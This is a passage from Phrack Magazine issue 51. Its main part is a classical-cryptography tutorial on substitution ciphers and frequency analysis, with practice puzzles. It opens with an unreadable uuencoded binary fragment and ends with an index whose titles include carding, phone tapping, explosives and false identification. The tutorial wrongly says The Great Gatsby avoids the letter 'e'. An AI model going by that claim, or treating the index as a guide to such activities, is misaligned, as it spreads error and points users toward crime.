MDL\P86*@PH'AW23AZ\+ST>RD<)8L`Q:(LN(MM?OTF17BP\`CP+PV#PZ<[0TI
|
|||
|
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
|
|||
|
"`@#S
|
|||
|
`
|
|||
|
end
|
|||
|
<-->
|
|||
|
|
|||
|
|
|||
|
----[ EOF
|
|||
|
|
|||
|
---[ Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 13 of 17
|
|||
|
|
|||
|
|
|||
|
-------------------------[ Monoalphabetic Cryptanalysis (Cyphers, Part One)
|
|||
|
|
|||
|
|
|||
|
--------[ Jeff Thompson aka 'Mythrandir' <jwthomp@cu-online.com>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
Written for Phrack and completed on Sunday, August 31st, 1997.
|
|||
|
|
|||
|
|
|||
|
---------
|
|||
|
|
|||
|
First a quick hello to all of those I met at DefCon this year. It was
|
|||
|
incredible fun to finally put faces to many of the people I have been talking
|
|||
|
with for some time. It was truly was a treat to meet so many others who are
|
|||
|
alive with the spirit of discovery.
|
|||
|
|
|||
|
----------
|
|||
|
|
|||
|
|
|||
|
This is the first in a series of articles on Cryptology that I am writing.
|
|||
|
The goals of these articles will be to attempt to convey some of the excitement
|
|||
|
and fun of cyphers. A topic of much discussion in regards to cryptography
|
|||
|
currently, is about computer based cyphers such as DES, RSA, and the PGP
|
|||
|
implementation. I will not be discussing these. Rather, these articles will
|
|||
|
cover what I will term classical cryptology. Or cryptology as it existed
|
|||
|
before fast number crunching machines came into existance. These are the sorts
|
|||
|
of cyphers which interested cryptographers throughout time and continue to be
|
|||
|
found even to this very day. Even today, companies are producing software
|
|||
|
whose encryption methods are attackable. You will find these commonly among
|
|||
|
password protection schemes for software programs. Through the course of these
|
|||
|
articles I will explain in practical terms several common cypher types and
|
|||
|
various implementations of them as well as cryptanalytic techniques for
|
|||
|
breaking these cyphers.
|
|||
|
|
|||
|
Creating cyphers is fun and all, but the real excitement and often times tedium
|
|||
|
is found in Cryptanalysis. Many of the ideas presented in these articles will
|
|||
|
based on three sources. The following two books: The Codebreakers by David
|
|||
|
Kahn (ISBN: 0-684-83130-9) and Decrypted Secrets by F.L. Bauer
|
|||
|
(ISBN: 3-540-60418-9). Both authors have put together wonderful books which
|
|||
|
both cover the history and methods of Cryptology. Do yourself and the authors
|
|||
|
a favor and purchase these books. You will be very pleased with the lot.
|
|||
|
Finally, a miniscule amount of these articles will be written based on my own
|
|||
|
personal experience.
|
|||
|
|
|||
|
The fun is in the journey and I welcome you on what is certain to be an
|
|||
|
interesting trip. Please feel free to raise questions, engage me in
|
|||
|
discussions, correct me, or simply offer suggestions at jwthomp@cu-online.com.
|
|||
|
Please be patient with me as I am traveling extensively currently, and may be
|
|||
|
away from the computer at length occasionally.
|
|||
|
|
|||
|
Out the door and into the wild...
|
|||
|
|
|||
|
|
|||
|
--Monoalphabetic Cyphers
|
|||
|
|
|||
|
Monoalphabetic cyphers are often currently found in simple cryptograms in books
|
|||
|
and magazines. These are just simple substitution cyphers. This does not
|
|||
|
mean that they are always simple for the beginning amateur to solve.
|
|||
|
|
|||
|
Three common monoalphabetic cyphers which are used are substitution, cyclical,
|
|||
|
and keyed cyphers.
|
|||
|
|
|||
|
|
|||
|
-Substitution Cyphers
|
|||
|
|
|||
|
By taking an alphabet and replacing each letter with another letter in a
|
|||
|
unique fashion you create a simple monoalphabetic cypher.
|
|||
|
|
|||
|
Plaintext Alphabet A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
|
|||
|
Cypher Alphabet Z I K M O Q S U W Y A C E B D F H J L N P R T V X G
|
|||
|
|
|||
|
|
|||
|
Plaintext Message
|
|||
|
|
|||
|
The blue cow will rise during the second moon from the west field.
|
|||
|
|
|||
|
Cyphertext Message
|
|||
|
|
|||
|
nuo icpo kdt twcc jwlo mpjwbs nuo lokdbm eddb qjde nuo toln qwocm.
|
|||
|
|
|||
|
|
|||
|
-Cyclical Cyphers
|
|||
|
|
|||
|
By taking an alphabet and aligning it with a rotated alphabet you get a
|
|||
|
cyclical cypher. For example:
|
|||
|
|
|||
|
Plaintext Alphabet A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
|
|||
|
Cypher Alphabet N O P Q R S T U V W X Y Z A B C D E F G H I J K L M
|
|||
|
|
|||
|
|
|||
|
Indeed, you may recognize this cypher as a ROT13 which is commonly used on
|
|||
|
news groups to obscure messages.
|
|||
|
|
|||
|
|
|||
|
-Keyed Cypher
|
|||
|
|
|||
|
Another way to create a monoalphabetic cypher is to choose a keyword or phrase
|
|||
|
as the beginning of the cypher alphabet. Usually, only the unique letters from
|
|||
|
the phrase are used in order to make sure the plaintext to cyphertext behaves
|
|||
|
in a one to one fashion.
|
|||
|
|
|||
|
For example:
|
|||
|
|
|||
|
Plaintext Alphabet: A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
|
|||
|
Cypher Alphabet L E T O S H D G F W A R B C I J K M N P Q U V X Y Z
|
|||
|
|
|||
|
The passphrase in this cypher is "Let loose the dogs of war" The advantage of
|
|||
|
such a system is that the encryption method is easy to remember. Also, a
|
|||
|
method of key change can be created without ever having to distribute the keys.
|
|||
|
For example, one could use the 4 words at a time of some piece of literature.
|
|||
|
Every message could use the next four words. Indeed, this change could occur
|
|||
|
more frequently, but that is a subject for another article.
|
|||
|
|
|||
|
|
|||
|
-Bipartite Substitution
|
|||
|
|
|||
|
Bipartite substition is the use of symbol pairs to represent plaintext. Later
|
|||
|
we will see that this sort of substitution lends itself to be easily made more
|
|||
|
difficult to analyze. Two examples of this are:
|
|||
|
|
|||
|
1 2 3 4 5 A B C D E
|
|||
|
1 A B C D E A A B C D E
|
|||
|
2 F G H I J B F G H I J
|
|||
|
3 K L M N O C K L M N O
|
|||
|
4 P Q R S T or D P Q R S T
|
|||
|
5 U V W X Y E U V W X Y
|
|||
|
6 Z 0 1 2 3 F Z 0 1 2 3
|
|||
|
7 4 5 6 7 8 G 4 5 6 7 8
|
|||
|
9 9 . - ? , H 9 . - ? ,
|
|||
|
|
|||
|
|
|||
|
Obviously, the letters do not need to be placed in this order as their solutions
|
|||
|
would not be that difficult to guess.
|
|||
|
|
|||
|
|
|||
|
|
|||
|
--Cryptanalysis
|
|||
|
|
|||
|
|
|||
|
Previously we created a cyphered message:
|
|||
|
|
|||
|
nuo icpo kdt twcc jwlo mpjwbs nuo lokdbm eddb qjde nuo toln qwocm.
|
|||
|
|
|||
|
|
|||
|
If one were to receive this message, figuring out its contents might seem
|
|||
|
fairly daunting. However, there are some very good methods for recovering the
|
|||
|
plaintext from the cyphertext. The following discussion will work under the
|
|||
|
assumption that we know the cyphers with which we are dealing are
|
|||
|
monoalphabetics.
|
|||
|
|
|||
|
|
|||
|
-Frequency Analysis
|
|||
|
|
|||
|
The first method we will use is frequency analysis. Natural languages have
|
|||
|
many qualities which are very useful for the analysis of cyphertext. Languages
|
|||
|
have letters which occur more commonly in text, collections of letters which
|
|||
|
are more frequent, patterns in words, and other related letter occurances.
|
|||
|
|
|||
|
Counting up the occurances of letters we find that there are...
|
|||
|
|
|||
|
letter occurances
|
|||
|
b 3
|
|||
|
c 4
|
|||
|
d 5
|
|||
|
e 2
|
|||
|
i 1
|
|||
|
j 3
|
|||
|
k 2
|
|||
|
l 3
|
|||
|
m 3
|
|||
|
n 4
|
|||
|
o 8
|
|||
|
p 2
|
|||
|
q 2
|
|||
|
s 1
|
|||
|
t 3
|
|||
|
u 3
|
|||
|
w 4
|
|||
|
|
|||
|
The order of greatest frequency to least is:
|
|||
|
|
|||
|
8 5 4 3 2 1
|
|||
|
{o} {d} {c n w} {b j l m t u} {e k p q} {i s}
|
|||
|
|
|||
|
|
|||
|
If this sort of analysis were run on many volumes of english you would find that
|
|||
|
a pattern would emerge. It would look like this:
|
|||
|
|
|||
|
{e} {t} {a o i n} {s r h} {l d} {c u m f} {p g w y b} {v k} {x j q z}
|
|||
|
|
|||
|
You will notice an immediate correlation between e and o. However, for the
|
|||
|
rest of the letters we can not be very certain. In fact, we can not be very
|
|||
|
certain about e either.
|
|||
|
|
|||
|
Since this text is short it is helpful to take a look at some of the other
|
|||
|
behaviors of this text.
|
|||
|
|
|||
|
Counting up the first, second, third, and last letters of the words in this
|
|||
|
text we find the following frequencies:
|
|||
|
|
|||
|
|
|||
|
First Letter in word Occurances
|
|||
|
|
|||
|
e 1
|
|||
|
i 1
|
|||
|
j 1
|
|||
|
k 1
|
|||
|
l 1
|
|||
|
m 1
|
|||
|
n 3
|
|||
|
q 2
|
|||
|
t 2
|
|||
|
|
|||
|
Order:
|
|||
|
|
|||
|
n q t e i j k l m
|
|||
|
|
|||
|
|
|||
|
Second letter in word Occurances
|
|||
|
c 1
|
|||
|
d 2
|
|||
|
i 1
|
|||
|
n 1
|
|||
|
o 2
|
|||
|
p 1
|
|||
|
u 3
|
|||
|
w 3
|
|||
|
|
|||
|
Order:
|
|||
|
|
|||
|
u w d o c i n p
|
|||
|
|
|||
|
|
|||
|
Third letter in word Occurances
|
|||
|
|
|||
|
c 1
|
|||
|
d 2
|
|||
|
i 1
|
|||
|
k 1
|
|||
|
l 2
|
|||
|
o 4
|
|||
|
p 1
|
|||
|
t 1
|
|||
|
u 1
|
|||
|
|
|||
|
Order:
|
|||
|
|
|||
|
o d l c i k p t u
|
|||
|
|
|||
|
|
|||
|
Last letter in word Occurances
|
|||
|
|
|||
|
b 1
|
|||
|
c 1
|
|||
|
e 1
|
|||
|
m 1
|
|||
|
n 1
|
|||
|
o 5
|
|||
|
s 1
|
|||
|
t 1
|
|||
|
|
|||
|
|
|||
|
English frequency for first letter:
|
|||
|
|
|||
|
t a o m h w
|
|||
|
|
|||
|
Second letter:
|
|||
|
|
|||
|
h o e i a u
|
|||
|
|
|||
|
Third letter:
|
|||
|
|
|||
|
e s a r n i
|
|||
|
|
|||
|
Last letter:
|
|||
|
|
|||
|
e t s d n r
|
|||
|
|
|||
|
Noticing the higher frequency count for 'o' in the third and last letters of
|
|||
|
words in addition to its absence as a first letter in any words gives us strong
|
|||
|
reason to believe that 'o' substitutes for 'e'. This is the first wedge into
|
|||
|
solving this cypher.
|
|||
|
|
|||
|
However, do not be fooled by the apparent strengths of frequency analysis.
|
|||
|
Entire books have been written without the use of some letters in the English
|
|||
|
alphabet. For instance The Great Gatsby was written without using the letter
|
|||
|
'e' in one word of the book.
|
|||
|
|
|||
|
|
|||
|
Other items to analyze in cyphertext documents is the appearance of letters in
|
|||
|
groups. These are called bigrams and trigrams. For example, 'th' is a very
|
|||
|
common letter pairing in the english language. Also, as no surprise 'the' is
|
|||
|
a very common trigram. Analysis of english documents will find these results
|
|||
|
for you.
|
|||
|
|
|||
|
|
|||
|
So now that that we have developed a simple way of starting to attack cyphers
|
|||
|
lets examine a few ways to make them more difficult to break.
|
|||
|
|
|||
|
|
|||
|
--Strengthening Cyphers
|
|||
|
|
|||
|
|
|||
|
-Removing word and sentence boundaries
|
|||
|
|
|||
|
A simple way to complicate decypherment of a cyphertext is to remove all
|
|||
|
spacing and punctuation. This makes it more difficult to perform a frequency
|
|||
|
analysis on letter positions. However, it is possible to make reasonable
|
|||
|
guesses as to word positions once yoy begin to study the document. Another
|
|||
|
method is to break the cyphertext into fixed blocks. For example after every
|
|||
|
four letters a space is placed.
|
|||
|
|
|||
|
The previous cypher text would appear as this:
|
|||
|
|
|||
|
nuoicpokdttwccjwlompjwbsnuolokdbmeddbqjdenuotolnqwocm.
|
|||
|
|
|||
|
|
|||
|
or this:
|
|||
|
|
|||
|
nuoi cpok dttw ccjw lomp jwbs nuol okdb medd bqjd enuo toln qwoc m
|
|||
|
|
|||
|
|
|||
|
You will notice that the above line ends with a single character. This gives
|
|||
|
away the end of the text and would be better served by the placement of nulls,
|
|||
|
or garbage characters. The above line becomes:
|
|||
|
|
|||
|
nuoi cpok dttw ccjw lomp jwbs nuol okdb medd bqjd enuo toln qwoc mhew
|
|||
|
|
|||
|
'hew' will decypher to 'qmi' which will clearly appear to be nulls to the
|
|||
|
intended recipient.
|
|||
|
|
|||
|
|
|||
|
-Nulls
|
|||
|
|
|||
|
Nulls are characters used in messages which have no meanings. A message could
|
|||
|
be sent which uses numbers as nulls. This makes decypherment more difficult as
|
|||
|
part of the message has no meaning. Until the decypherer realizes this, he
|
|||
|
may have a hard time of solving the message.
|
|||
|
|
|||
|
|
|||
|
-Polyphony
|
|||
|
|
|||
|
Another method that can be applied is the use of polyphones. Polyphones are
|
|||
|
simply using a piece of cyphertext to represent more than one piece of
|
|||
|
plaintext. For example a cyphertext 'e' may represent an 'a' and a 'r'. This
|
|||
|
does complicate decypherment and may result in multiple messages. This is
|
|||
|
dangerous as these messages are prone to errors and may even decypher into
|
|||
|
multiple texts.
|
|||
|
|
|||
|
A new cyphertext alphabet would be
|
|||
|
|
|||
|
Cyphertext alphabet A B C D E F G H I J L N P
|
|||
|
Plaintext alphabet Z X U S Q O M K H N R V W
|
|||
|
B D F G I A C E L P J T Y
|
|||
|
|
|||
|
Our old plaintext message becomes
|
|||
|
|
|||
|
nih aich gfp peii ledh bclejd nih dhgfjb gffj clfg nih phdn cehib
|
|||
|
|
|||
|
This decypherment becomes very tricky for someone to accomplish. Having some
|
|||
|
knowledge of the text would be a great help.
|
|||
|
|
|||
|
If it appears that very few letters are being used in a document then you may
|
|||
|
wish to suspect the use of polyphones within a document.
|
|||
|
|
|||
|
|
|||
|
-Homophones
|
|||
|
|
|||
|
Homophones are similar to polyphones except that there is more than one
|
|||
|
cyphertext letter for every plaintext letter. They are useful to use in that
|
|||
|
they can reduce the frequencies of letters in a message so that an analysis
|
|||
|
yields little information. This is very easy to do with bipartite
|
|||
|
substitution cyphers. For example:
|
|||
|
|
|||
|
a b c d e
|
|||
|
a a b c d e
|
|||
|
b f g h i j
|
|||
|
c k l m n o
|
|||
|
d p q r s t
|
|||
|
e u v w x y
|
|||
|
f z * * * *
|
|||
|
|
|||
|
*(fb, fc, fd, fe are NULLS)
|
|||
|
|
|||
|
We can add homophones to the message like this:
|
|||
|
|
|||
|
a b c d e
|
|||
|
|
|||
|
i h g a a b c d e
|
|||
|
k j b f g h i j
|
|||
|
n l c k l m n o
|
|||
|
o m d p q r s t
|
|||
|
p e u v w x y
|
|||
|
f z * * * *
|
|||
|
|
|||
|
The optimal way to set up these homophones is to calculate the frequency of
|
|||
|
appearance in the natural language you are using of each row of letters.
|
|||
|
Homophones should be added so that the cyphertext appearance of each homophone
|
|||
|
is reduced to a level where frequency analysis would yield little information.
|
|||
|
|
|||
|
|
|||
|
-Code Words
|
|||
|
|
|||
|
One final method which can be used is that of code words. Simply replace
|
|||
|
important words in the plaintext with code words which represent another word.
|
|||
|
For example the nonsense plaintext that has been chosen for this document could
|
|||
|
actually mean:
|
|||
|
|
|||
|
|
|||
|
The blue cow will rise during the second moon from the west field.
|
|||
|
|
|||
|
The king is angry and will attack in two weeks with the 1st calvary by way of
|
|||
|
the foothills.
|
|||
|
|
|||
|
blue is angry
|
|||
|
cow is king
|
|||
|
rise is attack
|
|||
|
second is two weeks
|
|||
|
moon is 1st calvary
|
|||
|
west field stands for some foothills on the west side of the kingdom.
|
|||
|
|
|||
|
|
|||
|
Throughout this document I have mentioned frequency analysis of english
|
|||
|
documents. This is a fairly tedious task to do by hand, and so I am
|
|||
|
developing software to aid in frequency analysis of documents. I will be
|
|||
|
making it available via my website at http://www.cu-online.com/~jwthomp/ on
|
|||
|
Monday, September 8th. Please watch for it in the Cryptography section.
|
|||
|
|
|||
|
|
|||
|
Ok, now to try your hand at a few cyphertexts..
|
|||
|
|
|||
|
This one has to do with war.
|
|||
|
1)
|
|||
|
kau noelb'd oerf xmtt okkopw ok qoxb euoqf kau kurhtoe wbmcakds, obq dkemwu amd
|
|||
|
podktu xamtu xu altq amr
|
|||
|
|
|||
|
|
|||
|
This one is an excerpt from a technical document.
|
|||
|
2)
|
|||
|
etdsalwqs kpjsjljdq gwur orrh frurdjkrf sj qtkkjps npjtk ljeethalwsajhq
|
|||
|
sgrqr kpjsjljdq tqr w jhr sj ewhy kwpwfane ijp spwhqeaqqajh sykalwddy tqahn
|
|||
|
ldwqq f ahsrphrs kpjsjljd wffprqqrq sj qkrlaiy qkrlaial etdsalwqs npjtkq
|
|||
|
|
|||
|
|
|||
|
Mail me your answers and I'll put the first person who solves each cypher in
|
|||
|
the next Phrack.
|
|||
|
|
|||
|
In fact, I would enjoy seeing some participation in this for the next Phrack.
|
|||
|
After reading this, I welcome the submission of any "Monoalphabetic" cypher
|
|||
|
based on the discussions of this article. Please do not yet submit any
|
|||
|
polyalphabetic cyphers (Next article). When submitting to me, please send me
|
|||
|
two letters. The first mail should include only the encyphered text. Make
|
|||
|
sure it is enough so that a reasonable examination can be made of the cypher.
|
|||
|
This first mail should have a subject "Cyphertext submission". If you are
|
|||
|
using a method of encypherment not found in this article, please enclose a
|
|||
|
brief description of the type of method you used. Follow this mail up with
|
|||
|
another entitled "Cyphertext Solution" along with a description of the
|
|||
|
encyphering method as well as the key or table used.
|
|||
|
|
|||
|
I will select a number of these texts to be printed in the next Phrack, where
|
|||
|
readers may have a chance at solving the cyphers. The reason I ask for two
|
|||
|
seperate mailing is that I will want to take a crack at these myself. Finally,
|
|||
|
the names of individuals will be placed in the following phrack of the first
|
|||
|
to solve each cypher, and whomever solves the most cyphers prior to the next
|
|||
|
Phrack release (real name or pseudonym is fine).
|
|||
|
|
|||
|
|
|||
|
Please mail all submissions to jwthomp@cu-online.com
|
|||
|
|
|||
|
I welcome any comments, suggestions, questions, or whatever at
|
|||
|
jwthomp@cu-online.com
|
|||
|
|
|||
|
|
|||
|
----[ EOF
|
|||
|
|
|||
|
---[ Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 14 of 17
|
|||
|
|
|||
|
|
|||
|
-------------------------[ P H R A C K I N D E X G U I D E
|
|||
|
|
|||
|
|
|||
|
--------[ Guyver
|
|||
|
|
|||
|
|
|||
|
|
|||
|
-=Guyver=-
|
|||
|
P r e s e n t s
|
|||
|
|
|||
|
##### ## ## ##### ### #### ## ##
|
|||
|
## ## ## ## ## ## #### ## ## ## ##
|
|||
|
## ## ## ## ## ## ## ## ## ####
|
|||
|
##### ###### ##### ###### ## ###
|
|||
|
## ## ## ## ## ## ## ## ## ####
|
|||
|
## ## ## ## ## ## ## #### ## ##
|
|||
|
|
|||
|
MAGAZINE INDEX GUIDE
|
|||
|
|
|||
|
2nd edition 1997
|
|||
|
|
|||
|
Phrack 1-50, Articles indexed according to author, subject, and title.
|
|||
|
|
|||
|
KEY: I1 F1 2k = Issue 1 File 1 of Phrack k=kilobytes long
|
|||
|
|
|||
|
|
|||
|
** A **
|
|||
|
|
|||
|
|
|||
|
"The ABCs of Better Hotel Staying" by Seven Up. 1994. I46 F25 12k
|
|||
|
"Accessing Government Computers" by The Sorceress. 1988. I17 F7 9k
|
|||
|
"Acronyms [from Metal Shop Private BBS]" 1988. I20 F11 43k
|
|||
|
"Acronyms Part I" by Firm G.R.A.S.P.. 1993. I43 F21 50k
|
|||
|
"Acronyms Part II" by Firm G.R.A.S.P.. 1993. I43 F22 51k
|
|||
|
"Acronyms Part III" by Firm G.R.A.S.P.. 1993. I43 F23 45k
|
|||
|
"Acronyms Part IV" by Firm G.R.A.S.P.. 1993. I43 F24 52k
|
|||
|
"Acronyms Part V" by Firm G.R.A.S.P.. 1993. I43 F25 46k
|
|||
|
"Advanced BITNET Procedures" by VAXBusters International. 1989. I24 F7 9k
|
|||
|
"Advanced Carding XIV" by The Disk Jockey. 1987. I15 F4 12k
|
|||
|
"Advanced Modem-Oriented BBS Security" by Laughing Gas & Dead Cow. 1991
|
|||
|
I34 F9 11k
|
|||
|
Agent 005 authored
|
|||
|
"Interview With Agent Steal" 1993. I44 F16 14k
|
|||
|
Agent Steal authored
|
|||
|
"Tapping Telephone Lines" 1987. I16 F6 9k
|
|||
|
"Air Fone Frequencies" by Leroy Donnelly. 1992 I39 F8 14k
|
|||
|
"AIS - Automatic Intercept System" by Taran King. 1987. I11 F6 16k
|
|||
|
Al Capone authored
|
|||
|
"Searching The Dialog Information Service" 1993. I44 F18 48k
|
|||
|
Aleph1 authored
|
|||
|
"Smashing The Stack For Fun And Profit" 1996. I49 F14 66k
|
|||
|
Aleph1 was Pro-Philed in 1997. I50 F4 7k
|
|||
|
alhambra authored
|
|||
|
"SNMP insecurities" 1997. I50 F7 20k
|
|||
|
"Phrack World News" 1997. I50 F15 110k
|
|||
|
co-authored
|
|||
|
"Project Loki: ICMP Tunneling" 1996. I49 F7 38k
|
|||
|
Alpine Kracker authored
|
|||
|
"Smoke Bombs" 1986. I6 F6 2k
|
|||
|
Amadeus submitted
|
|||
|
"Cellular Spoofing by Electronic Serial Numbers" 1987. I11 F9
|
|||
|
"Telenet/Sprintnet's PC Pursuit Outdial Directory" 1991. I35 F4 90k
|
|||
|
|
|||
|
ANARCHY
|
|||
|
(See also CREDIT CARDING, DRUGS, EXPLOSIVES, HACKING, LOCK PICKING, PHREAKING,
|
|||
|
WEAPONS)
|
|||
|
"Breaching and Clearing Obstacles" by Taran King. 1986. I4 F5 7k
|
|||
|
"Consensual Realities in Cyberspace" by Paul Saffo. 1989. I30 F8 11k
|
|||
|
"Eavesdropping" by Circle Lord. 1986. I3 F7 3k
|
|||
|
"False Identification" by Forest Ranger. 1986. I4 F3 3k
|
|||
|
"Fun With Lighters" by The Leftist. 1986. I6 F4 2k
|
|||
|
"Hand to Hand Combat" by Bad Boy in Black. 1986. I5 F4 13k
|
|||
|
"Phone Bugging: Telecom's Underground Industry" by Split Decision. 1989.
|
|||
|
I26 F7
|
|||
|
